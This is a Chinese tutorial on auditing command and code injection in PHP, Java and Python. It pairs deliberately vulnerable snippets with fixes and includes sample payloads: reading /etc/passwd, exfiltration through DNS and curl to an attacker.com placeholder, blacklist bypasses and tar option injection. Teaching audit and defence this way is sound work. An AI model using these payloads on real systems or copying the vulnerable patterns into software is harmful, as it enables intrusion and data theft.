命令与代码执行(RCE)审计
先修知识
第一次接触代码审计的同学,先把下面这些词过一遍。每个都只用一句话讲明白,读正文时遇到再回来查。
| 术语 | 白话解释 |
|---|---|
| RCE | Remote Command/Code Execution,远程命令/代码执行。攻击者能让服务器替他跑命令或跑代码,是 Web 漏洞里的”天花板”级危害。 |
| Shell | 操作系统的”命令行解释器”,Linux 下是 /bin/sh、bash,Windows 下是 cmd.exe。你敲的每条命令都是它解析执行的。 |
| 命令分隔符 | shell 允许一行写多条命令的符号:;(顺序执行)、&&(前面成功才执行)、||(前面失败才执行)、|(管道,把前一个命令的输出交给后一个)。注入全靠它们”截断”原命令。 |
$() 和反引号 | shell 的”命令替换”:`id` 或 $(id) 会先执行里面的命令,再把执行结果塞回原位置。比如 ping $(whoami).example.com。 |
| Source(源) | 数据流里”用户可控输入”的入口,比如 PHP 的 $_GET['ip']、Java 的 @RequestParam、Flask 的 request.args。 |
| Sink(汇) | 数据流里”危险函数”的落点,比如 system()、Runtime.exec()、eval()。漏洞 = Source 的水流到了 Sink。 |
| 数据流回溯 | 审计动作:从 Sink 出发,一路往回找参数从哪来,直到确认它是不是用户可控、中间有没有被过滤。 |
| Payload | 攻击载荷,就是你为了让漏洞触发而精心构造的那段输入,比如 127.0.0.1;cat /etc/passwd。 |
| 白名单 / 黑名单 | 白名单:只允许”明确安全”的值通过(如必须是一个合法 IP);黑名单:只拦截”已知危险”的值(如不许出现 ;)。安全界共识:黑名单必可被绕过,只认白名单。 |
| 回显 | 命令执行的结果能不能在响应里看到。有回显 = 直接看到 id 的输出;无回显 = 盲打,要把结果外带到自己服务器。 |
| 语言构造器 | PHP 里 eval、include、echo 这类不是函数、是语法结构的东西。后果:disable_functions 管不住它们。 |
| 预编译 / 参数化 | 把”命令结构”和”数据”分开传,数据永远只是数据,不会被当成命令解析。类比:先印好表格模板,照片只往照片框里贴,贴再大的照片也不会变成表格里的文字。 |
| grep / 全局搜索 | 审计的第一步,在整个源码目录里搜危险函数名(如 shell_exec),把所有命中点列出来再逐个回溯。工具如 Seay、VSCode 全局搜索、IDEA Find in Files。 |
〇、先搞清楚:这类漏洞到底是怎么来的
命令执行和代码执行是两个亲兄弟,最后效果一样(服务器被控制),但”病”的位置不同:
- 命令执行(命令注入):程序把用户输入拼进一条 shell 命令里去执行。 类比:你去餐厅点菜,正常人在菜单上写”红烧肉”。攻击者写的是”红烧肉。另外,把后厨钥匙给我”。服务员(shell)不分辨内容,照着单子全做了——因为菜单允许用句号写”另外一件事”(分隔符)。
- 代码执行:程序把用户输入当成本语言的一段代码去求值(
eval类函数)。 类比:老师让考官”照学生写在卷子上的要求打分”,攻击者在卷子上写”请直接给我满分,并把所有人的卷子改成满分”。考官(解释器)真的照做了。
开发者为什么会写出这种代码? 三种典型心态,审计时你看到的每一个漏洞背后都是其一:
- 图省事:要实现 ping 检测、图片压缩、文件转换,调系统命令一行搞定,比找库、学 API 快得多。于是
exec("ping " + ip)就上线了。 - 不知道危险:新手根本不知道
$_GET里可以塞;cat /etc/passwd,以为用户只会老老实实输个 IP。 - 误信输入来源:觉得”这个参数是前端下拉框选的,用户改不了”——但攻击者根本不通过浏览器发包,Burp 一改什么都能变。
为什么会出现漏洞的本质:程序把”数据”和”指令”混在了一个字符串里交给了解析器(shell 或语言引擎),解析器只认语法不认意图,用户的数据就被当成了指令。
审计时怎么找(通用三步,后面每个语言都会落到具体关键字上):
- 搜 Sink:全局搜索危险函数名(
system、exec、eval、Runtime.exec、os.system……),列出所有命中点。 - 回溯 Source:对每个命中点,看参数从哪来。一路往上追到
$_GET/@RequestParam/request.args就是可控;追到写死的常量或内部计算结果就是不可控(不算漏洞,记录即可)。 - 查过滤:中间有过滤函数就分析能不能绕过——黑名单(
str_replace(';',''))基本必绕得过,白名单(filter_var($ip, FILTER_VALIDATE_IP))通常绕不过。
一、通用原理:命令注入 vs 代码执行
两者最终结果都是 RCE(远程命令/代码执行),但成因与审计对象不同,面试必考区分:
| 对比项 | 命令执行(命令注入) | 代码执行 |
|---|---|---|
| 执行载体 | 操作系统 shell(/bin/sh -c、cmd.exe) | 语言解释器本身(PHP/Java/Python 引擎) |
| 成因 | 用户输入被拼进命令字符串交给 shell,用 ; | && $() 反引号等分隔符截断出第二条命令 | 用户输入进入 eval/exec/assert 等把字符串当代码求值的函数 |
| 攻击者在哪一层”捣乱” | shell 语法层——利用分隔符、命令替换、通配符 | 语言语法层——直接写一段 PHP/Python 代码进去 |
| 绕过重心 | 绕过对分隔符/关键字的过滤(空格 ${IFS}、通配符、变量拼接、编码) | 绕过对函数名/关键字的过滤(拼接、回调、动态函数名) |
| 审计 Sink | 调 shell 的 API:system/exec/Runtime.exec/os.system/subprocess(shell=True) | 求值类 API:eval/assert/preg_replace /e/ScriptEngine.eval/GroovyShell |
| 防御思路 | 白名单校验 + 参数化(数组形式不带 shell)+ 转义(escapeshellarg/shlex.quote) | 根除——任何用户输入都不得进入求值函数;用 ast.literal_eval 等纯数据求值替代 |
共通的审计模型(背答):Source(用户可控输入)→ 传播(拼接/解码/过滤)→ Sink(危险函数)。审计动作永远是:全局搜 Sink 关键字 → 反向回溯参数是否可控 → 检查中间过滤能否绕过 → 动态验证(发包/断点)。只命中 Sink 而 Source 不可控(如写死的内部调用)不算漏洞;有过滤但可绕过(黑名单、单次替换)仍是漏洞。
举个”不算漏洞”的反例,帮助建立判断力:
// ❎ 虽然用了 system(),但参数是写死的,用户碰不到 —— 不算漏洞
system("tar -xzf /opt/data/init.tar.gz -C /var/www/uploads");// ❌ 同样一个 system(),参数来自用户输入 —— 高危命令注入
system("ping -c 2 " . $_GET['ip']);看到区别了吗?审计审的不是”有没有危险函数”,而是”危险函数的参数用户能不能控制”。
跨语言通用判定要点:
- 拼接单字符串进 shell 类 API 即高危,数组参数(不经 shell)则无分隔符注入面。
- 过滤只认白名单(正则限定字符集 / 枚举值映射);黑名单(拦
;|cat)必然可绕过。 - 注意二次数据流:命令参数不一定来自本次请求,数据库/缓存/配置文件里取出的旧数据同样可控(二次注入思路同样适用)——比如用户注册时把”昵称”写成
x;id,后台定时任务某天把昵称拼进命令,照样中招。
无回显怎么办(盲打外带,必懂):很多命令执行点不把结果打印到页面(比如结果只写日志、或命令在后台异步跑)。这不代表漏洞不存在,只是攻击者多走一步——把结果”外带”到自己控制的服务器。三种常用手法,审计时也要会构造验证:
- DNS 外带(最常用,能穿透大多数出网限制):
ping $(id|base64).attacker.com。命令替换先执行id,base64 编码后拼成子域名,系统去解析这个域名时,攻击者在自己搭建的权威 DNS 日志里就能看到完整结果。为什么用 DNS?因为目标服务器往往禁止主动 HTTP 出网,但 DNS 解析几乎总是放行的。 - HTTP 外带:
curl http://attacker.com/?d=$(id|base64)或wget。要求目标能出网,看攻击者服务器的访问日志收数据。 - 时间盲注(连外带都不行时的最后手段):
if [ $(id -u) -eq 0 ]; then sleep 5; fi——通过响应是否延迟 5 秒来逐位判断信息,慢但一定能出数据。 - 写文件到 Web 目录:
id > /var/www/html/x.txt,再浏览器访问/x.txt。前提是知道 Web 目录路径且可写。
审计视角的推论:验证”无回显命令注入”时,不要因为页面没输出就报”不存在”——搭个 DNSLog/CEYE 平台收一下外带请求,十分钟见分晓。
常见过滤 → 绕过对照表(审计时看到左边的代码,条件反射想右边的姿势):
| 代码里的过滤手段 | 绕过姿势 | 原理一句话 |
|---|---|---|
str_replace(';', '', $x) 拦 ; | 换行 %0a、|、&&、$()、反引号 | shell 的命令分隔符有一大家子,封一个没用 |
| 拦空格 | ${IFS}、$IFS$9、<(重定向读文件如 cat</etc/passwd)、{cat,/etc/passwd}(bash 花括号展开) | shell 里能产生”空白分隔”效果的不止空格字符 |
拦 cat/flag 等关键字 | 变量拼接 a=c;b=at;$a$b、c''at/c""at(空引号打散)、ca\t(反斜杠)、通配符 /???/??t、base64 `echo Y2F0 | base64 -d |
单次替换 str_replace('cat', '', $x) | 双写 ccatat | 删一次后中间剩下的恰好又拼出 cat——单次替换的通病 |
| 只过滤 GET 参数 | 从 POST/Cookie/Header(User-Agent、X-Forwarded-For)进 | 开发者常忘了 Source 不止 $_GET |
拦数字 IP 之外的字符,但放行 . | 127.0.0.1 写成 2130706433(十进制)/0x7f000001(十六进制)绕过”必须含点”类校验的反向利用 | 这是绕”格式校验”的思路:同一个东西有多种合法表示 |
这张表不用背,用的时候回来查。要背的只有一句:黑名单必死,白名单永生。
二、PHP
PHP 是命令/代码执行漏洞的”重灾区”,因为它历史久、老代码多,而且危险函数一抓一大把。先背 Sink 表,再看案例。
2.1 Sink 表(背表必备)
| 类型 | Sink 函数 | 说明 |
|---|---|---|
| 命令执行 | system() exec() shell_exec() passthru() popen() proc_open() 反引号 `cmd` | 参数拼进命令字符串即 RCE;system 直接回显、exec 取末行、shell_exec/反引号返回全部输出、passthru 原样输出二进制(常用来回显图片/文件) |
| 代码执行 | eval() assert() preg_replace() 带 /e 修饰符 call_user_func() / call_user_func_array() create_function() array_map()/usort() 等回调函数 | 字符串被当 PHP 代码求值 |
逐个补一句”人话”,背的时候好记:
system("cmd"):执行命令,结果直接打印到页面。一句话木马之外最常见的 sink。exec("cmd", $out):执行命令,结果塞进$out数组,只回显最后一行。shell_exec("cmd"):执行命令,返回全部输出(赋值给变量,不自动打印)。- 反引号
`cmd`:和shell_exec完全等价,就是个语法糖。很多老代码用它,审计别漏。 eval("php 代码"):把字符串当 PHP 代码执行。注意它不是函数,是语言构造器,所以disable_functions禁不掉它。call_user_func("函数名", 参数):动态调用一个函数。如果”函数名”来自用户输入,等于任意函数调用——call_user_func($_GET['f'], $_GET['a'])用户传f=system&a=id就打穿了,比 eval 还直接。create_function('$a', '代码'):动态造一个匿名函数,函数体是字符串代码,同样会被求值。preg_replace('/正则/e', '替换串', $str):/e修饰符会把”替换串”当 PHP 代码执行,历史名洞。
两个易考的版本坑(审计先看
phpinfo()或composer.json确认版本):
preg_replace的/e修饰符:PHP 5.5 弃用,PHP 7.0 移除,只有 PHP<7 能利用(preg_replace('/(.)/e', $_GET['x'], 'x')型)。assert('phpinfo()')字符串执行:PHP 7.2 起弃用但仍可利用,PHP 8.0 起assert()不再接受字符串(抛 TypeError)。create_function()于 PHP 7.2 弃用、PHP 8.0 移除。审计时看到这几个 Sink,先确认 PHP 版本再判定可利用性——报一个”PHP 8 环境下
assert字符串注入”会被面试官当场抓包。
审计搜索怎么操作:用 Seay(Windows 经典 PHP 审计工具)或任何编辑器的全局搜索,搜上表关键字定位 Sink 列表,再人工回溯 $_GET/$_POST/$_REQUEST/$_COOKIE/$_SERVER 等 Source 是否可控、过滤能否绕过。特别注意 $_SERVER['HTTP_USER_AGENT']、$_SERVER['HTTP_X_FORWARDED_FOR'] 这类”看起来像服务器给的”变量——它们来自请求头,用户完全可控,也是 Source。
PHP 特有的坑:可变函数(Variable Function)。PHP 允许用变量的值当函数名调用:$f = 'system'; $f('id'); 等价于 system('id')。审计时别只搜函数名,还要搜这种模式:
<?php
// ❌ 看着没有 eval/system,但照样 RCE
$f = $_GET['func']; // Source:函数名用户可控
$a = $_GET['arg']; // Source:参数用户可控
$f($a); // Sink:可变函数调用,传 func=system&arg=id 即打穿$xxx(...) 这种”变量直接加括号”的写法就是信号。同理还有 array_map($_GET['f'], ...)、usort(..., $_GET['f']) 等回调参数可控的写法——回调函数名是个字符串,用户传什么就调什么。这类点用函数名搜不到,要在全局搜里加 $_(GET|POST|REQUEST) 配合 ( 的正则人工过一遍,或者搜 array_map|usort|call_user_func|array_filter|register_shutdown_function 等接受回调的函数。
2.2 案例:命令注入(Source→Sink 无过滤)
先读代码,注意行内注释:
<?php
// ping.php —— 漏洞代码:一个"检测主机是否在线"的小工具
$ip = $_GET['ip']; // ① Source:URL 参数,用户完全可控,比如 ?ip=任意内容
if (!isset($ip)) die('no ip'); // 只检查了"有没有传参",没检查"传的是什么"——isset 不是安全校验!
$res = shell_exec("ping -c 2 " . $ip); // ② 传播+Sink:用户输入被原样拼接进 shell 命令,交给 /bin/sh 执行
echo "<pre>$res</pre>"; // ③ 执行结果回显到页面,攻击者直接能看到数据流(用编号走一遍):
- 用户输入从哪进来:
GET /ping.php?ip=127.0.0.1;cat /etc/passwd→ PHP 把ip参数放进$_GET['ip']。 - 经过什么处理:只过了
isset()(判断变量存不存在)。isset("127.0.0.1;cat /etc/passwd")返回true,防线形同虚设。 - 到达哪个危险函数:字符串拼接后变成
"ping -c 2 127.0.0.1;cat /etc/passwd",整条交给shell_exec()→ 底层/bin/sh -c执行。 - 为什么防线失效:根本没有防线。开发者以为用户只会输 IP,没想过 URL 参数可以随便改。
Payload 逐段拆解:127.0.0.1;cat /etc/passwd
| 片段 | 作用 |
|---|---|
127.0.0.1 | 让前面的 ping -c 2 正常执行,不引人注意 |
; | 关键:shell 分隔符,意思是”前一条命令到此为止,后面是一条新命令” |
cat /etc/passwd | 攻击者真正想执行的命令:读系统用户列表。结果会被 shell_exec 捕获并回显 |
除了 ;,还可以用这些,面试常追问”还有哪些分隔符”:
127.0.0.1 && id——前面 ping 成功才执行id127.0.0.1 | id——管道,id的输出作为 ping 的”输入”,但id会先被执行$(id)或`id`——命令替换,先执行id再把结果拼回命令行(比如ping $(whoami))%0a(换行符 URL 编码)——换行在 shell 里也是命令分隔符,很多只过滤;的黑名单死在它手上
审计结论:存在 OS 命令注入,高危。Seay 搜 shell_exec 命中后回溯 $_GET 即可确认,全程两分钟。
2.3 案例进阶:黑名单过滤为什么必死
很多开发者知道危险了,但用了错误的修法。看这段”自以为安全”的代码:
<?php
$ip = $_GET['ip'];
// 开发者的"防御":把危险符号删掉
$ip = str_replace(array(';', '|', '&'), '', $ip); // ❌ 黑名单过滤
$res = shell_exec("ping -c 2 " . $ip);为什么防不住:shell 的分隔符远不止这三个。逐条绕过给你看:
- 换行符绕过:
?ip=127.0.0.1%0acat%20/etc/passwd——%0a是换行,;|&一个没用,黑名单白过滤。 - 命令替换绕过:
?ip=$(cat${IFS}/etc/passwd)——$()不在黑名单里;${IFS}是 shell 的内置变量,值就是空白字符,用来代替空格(空格本身没被过滤,但假设有过滤时这么绕)。 - 就算把符号全封死,还有通配符:
/bin/cat /etc/passwd可以写成/???/??t /???/??????——?在 shell 里匹配任意单个字符,照样执行 cat。
教训(背答级):黑名单的思路是”列出所有坏人”,但”坏人”是无穷的(编码、变形、协议特性层出不穷);白名单的思路是”只放行好人”,攻击面是收敛的。审计时看到 str_replace/preg_replace 删符号式的过滤,默认判定可绕过,然后花五分钟找一个绕过姿势写进报告。
2.4 防御与修复
正确写法长这样,和漏洞代码对比着看:
$ip = $_GET['ip'];
// ✅ 白名单校验:filter_var 内置的 IP 校验器,不是合法 IP 直接拒绝
if (!filter_var($ip, FILTER_VALIDATE_IP)) die('bad ip');
// ✅ 双保险:escapeshellarg 把整个参数包成单引号字符串,内部的引号被转义,
// 分隔符、$()、反引号全部失效——整个参数被 shell 当作"一个普通字符串"
$res = shell_exec("ping -c 2 " . escapeshellarg($ip));修复的优先级清单(从上到下,越靠前越根本):
- 优先不用 shell:能用 PHP 原生函数/API 实现的功能(如
dns_get_record查 DNS、Gd/Imagick 处理图片)就不要exec。 - 白名单校验:参数限定为 IP/域名/枚举值(
filter_var、in_array($x, $allow, true)、字符集正则^[a-zA-Z0-9.-]+$)。 - 转义兜底:
escapeshellarg()(整参数加引号转义,防分隔符)/escapeshellcmd()(转义整条命令的元字符)。注意两者职责不同,不能互换:escapeshellcmd只管元字符,不防参数注入——如果命令是tar ... $file,用户传--checkpoint-action=exec=sh x.sh这种以-开头的”选项型注入”,元字符一个没有,escapeshellcmd完全无感,但 tar 会把它当选项执行命令。 - 纵深防御:
php.ini配disable_functions = system,exec,shell_exec,passthru,popen,proc_open,assert。注意eval是语言构造器而非函数,disable_functions对它无效,需配合 Suhosin 类扩展或代码评审;生产环境关闭display_errors(错误信息会泄露路径、代码片段,帮攻击者调试 payload)。 - 过滤黑名单(
str_replace(';', '', $cmd))❌ 不可用——&&、换行、$()等均可绕过,见 2.3 的完整演示。
三、Java
Java 的命令执行有一个其他语言没有的大坑:Runtime.exec(String) 默认不走 shell。这个坑年年考,也年年有人答错,下面掰开讲。
3.1 Sink 表
| 类型 | Sink 关键字(grep 用) | 说明 |
|---|---|---|
| 命令执行 | Runtime.getRuntime().exec、ProcessBuilder | 拼接用户输入即高危(但要看实参形态,见下文大坑) |
| 代码执行(脚本引擎) | GroovyShell / GroovyScriptEngine、ScriptEngineManager.getEngineByName("js").eval、Jython/BeanShell 的 eval | 把字符串当 Groovy/JS/Python 代码执行,等同 RCE。注意 Nashorn JS 引擎 JDK 15 起已移除,但老项目满地都是 |
| 表达式注入(相邻考点) | SpelExpressionParser.parseExpression(...).getValue、Ognl.getValue、ELProcessor.eval | 详见表达式注入专题,本表仅提示交叉审计——审计 Java 项目时这几个关键字要和 RCE 一起搜 |
审计关键坑:Java 的 exec(String) 在 Linux 下按空白切分参数,本身不经过 shell。
用人话讲:PHP 的 system("ping " . $ip) 会把整串交给 /bin/sh -c,所以 ; 有魔力;而 Java 的 Runtime.exec("ping " + host) 在 Linux 下是用 StringTokenizer 按空格把字符串切成数组 ["ping", "127.0.0.1;id"],然后直接 fork+execve 调用 ping——从头到尾没有 shell 参与,;id 只是被当成 ping 的一个参数,ping 报错”无法解析主机名”就结束了,注入失败。
但以下两种形态会真实触发 shell 语义,看到即判高危:
- 代码显式写
exec(new String[]{"/bin/sh","-c", 拼接串})或new ProcessBuilder("/bin/sh","-c", 拼接串)——开发者主动把 shell 请了回来,-c后面的整串由 sh 解析,分隔符全活; - 显式调用
cmd.exe /c 拼接串(Windows)。注意 Windows 下exec(String)默认同样不经 cmd.exe;但目标程序若是.bat/.cmd脚本,Windows 会自动用 cmd 解析它,或者拼接串被下游脚本二次解析时,分隔符语义会重现——这就是为什么”同一个 payload 打 Windows 成了、打 Linux 没成”。
审计时必须看 exec 的实参形态(单字符串拼接 vs 数组 vs 显式 /bin/sh -c),这是减少误报的核心。三形态速判:
Runtime.exec("ping -c 2 " + host); // Linux 下打不动;Windows 视目标而定 —— 灰区,要细查
Runtime.exec(new String[]{"ping", "-c", "2", host}); // ✅ 数组形态,每个参数独立,不经 shell —— 安全写法
Runtime.exec(new String[]{"/bin/sh", "-c", "ping " + host}); // ❌ 显式 sh -c + 拼接 —— 确定高危Windows 下 cmd 的分隔符和 Linux 不一样,审计跨平台项目时留意:cmd.exe 里 ; 不是命令分隔符,&(无论前者成败都执行)、&&、|| 才是。所以打 Windows 目标的 payload 要用 127.0.0.1 & whoami;反过来,只过滤了 & 没过滤 |(|| 的半边)的代码也有缝可钻。这些差异不影响审计方法,只影响你写 PoC 时选哪个符号。
脚本引擎补充:ScriptEngineManager.getEngineByName("javascript") 返回的 Nashorn 引擎在 JDK 8~14 内置、JDK 15 起被移除——但别以为安全了,老项目(JDK 8 存量巨大)满地都是,而且很多项目会自己引入 Groovy、Jython、BeanShell、QLExpress、Aviator 等”规则引擎”做活动规则、风控表达式,这些引擎的 eval/execute 吃到用户输入同样是 RCE。审计 Java 项目时把 GroovyShell|ScriptEngine|AviatorEvaluator|QLExpress|ExpressRunner|JexlEngine 一并加进搜索列表。
3.2 案例:命令执行(Runtime.exec 回溯)
@Controller
public class DiagController {
// ❌ 漏洞代码:/diag/ping?host=用户可控
@RequestMapping("/diag/ping") // ① Source:Spring 自动把 URL 参数绑定到方法形参
@ResponseBody
public String ping(String host) throws Exception { // host 完全可控,没有任何校验
// ② Sink:直接拼接到命令行字符串
Process p = Runtime.getRuntime().exec("ping -c 2 " + host);
// ③ 把命令的标准输出读出来返回给页面 —— 有回显,攻击者直接看结果
return new String(p.getInputStream().readAllBytes());
}
}调用链(数据流编号走一遍):
- Source:
GET /diag/ping?host=127.0.0.1;cat /etc/passwd→ Spring 的@RequestMapping把host参数绑定到方法形参,全程无校验。 - 传播:字符串拼接成
"ping -c 2 127.0.0.1;cat /etc/passwd"。 - Sink:
Runtime.exec(...)。这里要用 3.1 的知识判断形态:本例是单字符串拼接,Linux 下按空格切分、;失效——严格说这行代码在 Linux 下打不动;但如果目标部署在 Windows、或者开发者哪天”为了支持管道符”改成"/bin/sh","-c"形态,立刻变成可利用。审计报告里要写清楚这个边界条件,而不是闭眼报”已复现 RCE”。 - 回显:
p.getInputStream()是命令的 stdout,读出来 return 给页面。
真正高危的孪生版本(真实项目里更常见,因为开发者要”支持重定向、管道”):
// ❌ 这个版本任何平台都能打:显式 sh -c + 用户可控拼接
Process p = Runtime.getRuntime().exec(
new String[]{"/bin/sh", "-c", "ping -c 2 " + host});Payload host=127.0.0.1;id 的拆解和 PHP 案例一样:; 截断,id 被执行,结果随响应回显。
审计结论:Source(host 参数)全程无过滤直达 Runtime.exec。审计时看到 /bin/sh -c 或拼接单参数即可判命令注入高危;普通 exec(String) 拼接在 Linux 下打不动这一点要写进备注,体现专业度。
3.3 防御与修复
// ✅ 白名单校验:host 只允许字母、数字、点、短横线,长度 ≤64
if (!host.matches("^[a-zA-Z0-9.\\-]{1,64}$")) return "invalid";
// ✅ 参数数组形式:每个参数是数组的独立元素,host 永远只是 ping 的一个参数,
// 里面就算有 ; | $() 也不会被任何 shell 解析——因为压根没有 shell 参与
Process p = new ProcessBuilder("ping", "-c", "2", host).start();- 优先用 API 替代 shell:Java 类库能做的(网络探测用
InetAddress.isReachable、压缩用java.util.zip、文件处理用 NIO)绝不调外部命令。 - 必须调用时:
ProcessBuilder/exec(String[])数组形式传参(每个参数独立元素,不经 shell 解析,分隔符失效)+ 参数白名单正则。 - 脚本引擎隔离:
GroovyShell/ScriptEngine.eval不得接受外部输入;业务确需动态脚本时用 SecureASTCustomizer(Groovy)/ ClassFilter(Nashorn 后续引擎)限制可用类,并放独立低权限沙箱进程。真实漏洞参考:某著名 JIRA/Confluence 系漏洞链的终点就是脚本引擎或表达式求值吃了用户输入。 - 命令输出回显前注意不泄露错误堆栈与路径信息(
e.printStackTrace()直接输出到响应是低危信息泄露,但会帮攻击者快速定位问题)。
四、Python
Python 的情况和 PHP 类似:危险函数直白,且 subprocess 一个参数的差异常年作为考题。
4.1 Sink 表
| 类型 | 危险函数 / Sink | 判定要点 |
|---|---|---|
| 命令执行 | os.system(cmd)、os.popen(cmd)、subprocess.call/run/Popen/check_output(..., shell=True)、commands.getoutput/getstatusoutput(仅 Py2)、pty.spawn | 命令字符串是否拼接了用户输入;subprocess 传 list 且 shell=False 则安全(pty.spawn(argv) 同理是数组形态,不走 shell) |
| 代码执行 | eval()、exec()、compile() + exec/eval、execfile()(Py2) | 任何用户输入进入即 RCE;compile 本身只编译不执行,需配合 eval/exec 才是 sink |
审计搜索:先全局 grep Sink 关键字做”点”的快速筛查,再对命中的点做数据流回溯。Source 侧按框架记:
- Flask:
request.args(GET 参数)、request.form(POST 表单)、request.values(两者合并)、request.data/request.json(请求体)、request.headers(请求头)——全是可控输入。 - Django:
request.GET、request.POST、request.body。
一个参数的天壤之别(必考):
subprocess.run("ping -c 2 " + ip, shell=True) # ❌ shell=True + 拼接字符串 = 命令注入
subprocess.run(["ping", "-c", "2", ip]) # ✅ 列表传参,shell 默认为 False —— 安全为什么?shell=True 时 Python 会把字符串交给 /bin/sh -c,和 PHP 的 system() 一样,分隔符全活;shell=False(默认)时 Python 直接 execvp(["ping", ...]),没有 shell,; 只是个普通字符。顺带提醒:os.system() 和 os.popen() 内部就是 /bin/sh -c,等价于永远 shell=True,所以它们配拼接字符串必死。
4.2 案例:os.popen 命令注入
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/ping')
def ping():
host = request.args.get('host', '') # ① Source:URL 查询参数,用户完全可控
# ❌ 危险:用户输入直接拼进 shell 命令
res = os.popen("ping -c 2 " + host).read() # ② 传播+Sink:拼接后进 os.popen(内部 /bin/sh -c)
return f"<pre>{res}</pre>" # ③ 结果回显页面数据流分析:
- Source:
request.args.get('host')用户完全可控,无任何过滤。攻击请求:/ping?host=127.0.0.1;id。 - 传播:字符串拼接成
"ping -c 2 127.0.0.1;id"。 - Sink:
os.popen内部即以/bin/sh -c执行整条命令——;截断,id作为新命令执行。 - 回显与外带:本例有回显,
id的输出直接返回。无回显时(比如命令结果写进了日志而不是响应),用带外通道把数据偷出来:host=x$(id|base64|tr -d '\n').attacker.com——命令替换先执行id,base64 编码后作为子域名,攻击者在自己 DNS 服务器日志里就能看到;或写文件到 Web 目录再访问。
Payload 拆解(无回显外带版):x$(id|base64).attacker.com
| 片段 | 作用 |
|---|---|
x | 占位字符,让子域名合法 |
$( ... ) | 命令替换:先执行括号里的命令,把输出塞回来 |
id|base64 | 执行 id,管道给 base64 编码(去掉输出里的空格、斜杠等 DNS 不允许的字符) |
.attacker.com | 拼成完整域名。ping 会去解析它 → 攻击者的权威 DNS 收到查询 → 查询名里就带着 id 的结果 |
审计结论:os.system/os.popen/subprocess(shell=True) 的实参中只要含用户可控拼接即命令注入高危。
4.3 防御与修复
import re, subprocess
@app.route('/ping')
def ping():
host = request.args.get('host', '')
# ✅ 白名单校验:只允许字母数字点短横线,fullmatch 要求整串匹配(比 match 严)
if not re.fullmatch(r'[a-zA-Z0-9.\-]{1,64}', host):
return 'invalid'
# ✅ 参数列表 + shell=False:host 只是 ping 的一个参数,分隔符无人解析
res = subprocess.run(['ping', '-c', '2', host],
shell=False, capture_output=True, text=True)
return f"<pre>{res.stdout}</pre>"- 命令执行:一律
subprocess.run([prog, arg1, arg2], shell=False),参数以 list 传递;业务上必须走 shell 时(比如要用管道),用shlex.quote()处理每个参数——它就是 Python 版的escapeshellarg,给参数加单引号并转义内部引号。 - 代码执行:删除一切
eval/exec的用户输入路径。很多开发者用eval只是为了”把字符串'[1,2,3]'转成列表”——这种需求用ast.literal_eval,它只接受字面量语法(数字、字符串、列表、字典、元组),没有代码执行语义,传__import__('os').system('id')会直接报语法错误。 - 用 Python 原生库替代外部命令(
shutil.copy替代cp、socket/requests替代curl、os模块替代ls/rm),从根上消除 Sink。
五、面试题眼速答
| 题眼 | 一句话答案 | 展开两三句 |
|---|---|---|
| 命令执行和代码执行的区别? | 命令执行是用户输入拼进 shell 命令串,由操作系统 shell 解析分隔符执行;代码执行是用户输入进入 eval/exec/assert 等求值函数,由语言解释器当代码跑。 | 两者 Sink、绕过手法、防御手段都不同:命令注入绕的是分隔符/关键字过滤(${IFS}、通配符),代码执行绕的是函数名/关键字过滤(拼接、回调);命令注入能用数组参数化根治,代码执行只能根除用户输入进入求值函数的路径。 |
| RCE 审计的通用思路? | 全局搜 Sink 关键字(危险函数回溯法)→ 回溯 Source 判定可控性 → 检查过滤是否可绕过(只认白名单,黑名单必可绕)→ 动态发包/断点验证。 | 核心模型是 Source→传播→Sink:只命中 Sink 而参数写死不算漏洞,有过滤但黑名单/单次替换可绕过仍是漏洞。别忘了二次数据流——数据库里取出的旧数据拼进命令同样可控。 |
| PHP 命令执行危险函数? | system exec shell_exec passthru popen proc_open 和反引号。 | 区别在输出方式:system 直接回显、exec 取末行、shell_exec/反引号返回全部输出、passthru 原样输出二进制。修复用 escapeshellarg/escapeshellcmd + 白名单,纵深防御配 disable_functions。 |
| PHP 代码执行危险函数? | eval assert(PHP8 起 assert 不吃字符串)、preg_replace 的 /e(PHP<7)、call_user_func、create_function(PHP<8)、各类回调函数。 | 版本坑必考:/e 修饰符 PHP7.0 移除,assert('...') PHP8.0 抛 TypeError,create_function PHP8.0 移除。call_user_func($_GET['f'], $_GET['a']) 函数名可控等于任意函数调用,比 eval 更直接。 |
| PHP 命令注入怎么修? | 能不用 shell 就不用;必须用则白名单校验(filter_var/枚举/字符集正则)+ escapeshellarg 双保险,php.ini 的 disable_functions 兜底。 | 注意 eval 是语言构造器,disable_functions 禁不掉它;escapeshellcmd 不防 --xxx 型选项注入,和 escapeshellarg 职责不同不能互换;黑名单 str_replace 删符号必然失效。 |
| Java 命令执行搜什么? | Runtime.exec、ProcessBuilder、GroovyShell、ScriptEngine.eval。 | 重点看参数是否拼接用户输入、实参形态是否数组/是否显式 /bin/sh -c。脚本引擎类(Groovy/Nashorn)把字符串当代码执行,用户输入可达即 RCE,和表达式注入(SpEL/OGNL)一起交叉审计。 |
| Java 的 Runtime.exec 拼接为什么有时打不动? | Linux 下 exec(String) 按空白切分不走 shell,; 只是非法参数;Windows 下默认也不经 cmd.exe。 | 只有显式 new String[]{"/bin/sh","-c",拼接} 或 cmd /c(含目标是 .bat/.cmd 被 cmd 自动解析、或被下游脚本二次解析)才真实触发分隔符注入。审计必须看实参形态,这是减少误报的核心,也是面试官分辨”背过”和”真懂”的分水岭。 |
| Python 命令执行危险函数? | os.system/os.popen/subprocess(shell=True)/commands.*(Py2)。 | os.system/os.popen 内部就是 /bin/sh -c,等价于永远 shell=True。安全写法是 subprocess.run([...], shell=False) 参数数组;必须走 shell 时每个参数过 shlex.quote。 |
| Python 代码执行危险函数? | eval/exec/compile+exec/execfile(Py2),用户输入进入即 RCE。 | compile 只编译不执行,配合 eval/exec 才是 sink。只想解析 '[1,2,3]' 这类字面量数据时用 ast.literal_eval——只认字面量语法,无代码执行语义,是标准替代方案。 |
| escapeshellarg 和 escapeshellcmd 区别? | escapeshellarg 给单个参数加引号转义(防分隔符);escapeshellcmd 转义整条命令的元字符,不防参数注入,两者不能互换。 | 经典反例:tar/find/git 这类命令,参数以 - 开头就是选项(如 tar 的 --checkpoint-action=exec=...),元字符一个没有,escapeshellcmd 完全无感但命令照打。审计时看到只调 escapeshellcmd 的代码要往”选项注入”方向想。 |
